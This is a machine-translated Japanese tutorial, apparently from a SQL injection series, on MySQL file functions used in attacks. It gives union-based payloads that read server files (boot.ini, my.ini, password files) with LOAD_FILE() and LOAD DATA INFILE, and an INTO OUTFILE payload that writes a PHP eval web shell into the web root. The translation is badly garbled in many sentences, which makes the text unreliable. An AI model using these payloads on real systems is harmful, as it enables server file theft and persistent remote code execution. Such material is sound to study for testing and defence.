1、LOAD_FILE()エクスポートファイル
LOAD_FILE(FILE_NAME):ファイルを読み込み、文字列としてファイルの内容を返します。
使用条件:
Aは、ファイルの読み取り権限を持っている必要があり、完全に読まれなければなりません
そして、、(SELECT COUNT(*)から mysql.user)> 0 / * 結果はその読み取りおよび書き込み権限を示し、正常に戻っている場合は
(からSELECT COUNT(*)と mysql.user)> 0 / * エラーを返し、それはへの管理者である必要があります右のデータベースアカウントダウン
B、ファイルがサーバー上で読み取らなければなりません
Cは、ファイルのフルパスを指定する必要があります。
Dは、読み込まれるファイルは、以下のmax_allowed_packetよりでなければなりません
ファイルには、ため、または上記のいずれかの理由で存在していない場合は、関数が戻るのNULLを読み取ることができません。適切に設定されている場合、ファイルにアクセスできる管理者だけに直面したときの窓の下で、権限を満たすことがより困難である、NTFSは、関連文書を読むことができない、ユーザーがさえLOAD_FILEを考えるべきではありません。
実際の注入では、我々は2つの困難に対処する必要があります。
- 絶対物理パス
- 有効なステートメント奇形(バーストエラー絶対パス)を構築するために、
偽のクエリを提出する際に、多くのPHPのプログラムでは、はdisplay_errors =の場合、プログラムは限り、あなたは道を知っているように、絶対パスのWEBディレクトリを公開します、そしてPHPプログラムを注入することができるため、サーバ全体のセキュリティは真剣になります脅威。
共通パス:http://www.cnblogs.com/lcamry/p/5729087.html
例: 選択1,2,3,4,5,6,7、六角(置き換え(LOAD_FILE(CHAR(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109))) 説明:使用して進()ファイルの内容判明する場合、ファイルSMB、特に、使用することができる -1 SELECT 1,1,1連合、LOAD_FILE(CHAR(99,58,47,98,111,111,116,46,105,110,105)) 説明:「CHAR(99,58,47,98,111,111,116,46,105,110,105) C "は":/boot.ini "ASCIIコードの -1 SELECT 1,1,1連合、LOAD_FILE(0x633a2f626f6f742e696e69) 説明:" C:/boot.ini 0x633a2f626f6f742e696e69 "進数である" " -1 SELECTユニオン1 、1,1、LOAD_FILE(C:\\のBoot.ini)の 説明:パスレーン/ \\置換
データベースに2つのファイル
テキストファイルの行から読み取る高速、および負荷テーブルのLOAD DATA INFILEステートメントです。ファイル名は文字列リテラルでなければなりません。
注入工程では、私たちはしばしば、このようなコンフィギュレーションファイル、パスワードファイルなどのいくつかの特別なファイルを、必要とします。あなたは、データベースへのアクセス権を持っている場合は、ファイル・システムは、データベースには、LOAD DATA INFILEを使用することができます。
機能具体的な説明:ここで紹介するパラメータについて詳細にすぎないが、あなたはMySQLのドキュメントを参照してくださいすることができます。(注意:リファレンスドキュメントが最高の教材です)
示例:負荷データinfileに「/tmp/t0.txt」で終わるテーブルt0の文字セットGBKフィールドに無視する「\ t」のことで終わる行「\ n」は
テーブルT0、文字セットGBK文字セットに/Tmp/t0.txtはGBKであることが、データの各項目間の区切り文字によって終了フィールドは、行は文字行の終わりまでに終了しました。
エラーコードは、ファイルが存在しない2時間である場合には何の権限がない場合、エラーコード13は、/ tmpのフォルダなどを検討してください。
TIPS:私たちは、ドキュメントmysql5.7から見るまだ注入も検証する必要作るために使用することができるかどうか、負荷のXML機能が追加されます。
3、ファイルに
语法:SELECT ..... INTO OUTFILE 'file_nameに'
あなたはファイルに書き込まれた行を選択することができます。あなたはこの構文を使用するには、FILE権限を持っている必要がありますので、ファイルは、サーバホスト上に作成されます。file_nameには、既存のファイルにすることはできません。
我々は、一般的に、2つの形式を使用します。
最初のファイルに直接コンテンツを選択します。
OUTFILEへのバージョン()を選択し、 "C:\\ phpnow \\ htdocsに\\ test.phpを"
ここで単語、<?PHPの@Eval($ _ポスト[ "美馬"])?>それに置き換えたバージョン()
選択OUTFILEに<?phpの@Eval($ _ポスト[ "美馬を"])?> "C:\\ phpnow \\ htdocsに\\ test.phpを"
直接の単語に接続され、実際には、単語をアップロードするコンテンツを選択することができるだけでなく、あなたも多くのコンテンツをアップロードすることができます。
第二の端部には、ファイルを変更します。
INTO OUTFILEをバージョン()を選択し、 "C:\\ phpnow \\ htdocsに\\ test.phpを" 0x16进制BY TERMINATED LINES文件
説明:通常最後に、ここで我々はあなたが使用する「\ rを\ n」をしたい任意のファイルを変更します。FIELDS用いながらBY TERMINATED
16進数を、または任意の他のコードワード、自己構成であってもよいです。OSシェルでSQLMAPに特異的に物品のOSシェル解析を参照、そのような方法で取得されます。http://www.cnblogs.com/lcamry/p/5505110.html
チップ:
(1)は、それらに注意を払う必要がありますエスケープパスを提出することができる、これは特定の環境に依存し
、上記(2)、我々はLOAD_FILE()を話しましたが、現在のステーションがデータをエクスポートすることができない場合、我々は次のステートメントを使用することができます。
OUTFILEへの 'C:\\ WAMP \\ WWW \\ test.phpを':( '\\ WAMP \\ビン\\ mysqlの\\ \\ mysql5.6.17のmy.ini C')LOAD_FILEを選択
このステートメントは、データが得られるように、Webサーバーの間でディレクトリサーバにインポートコンテンツに使用することができます。もちろん、これは通常の蓄積である必要があり、コンテンツの多くが判明することができますが存在します、のmy.ini上記パスワード入力(ただし、注釈付きのデフォルト)があります。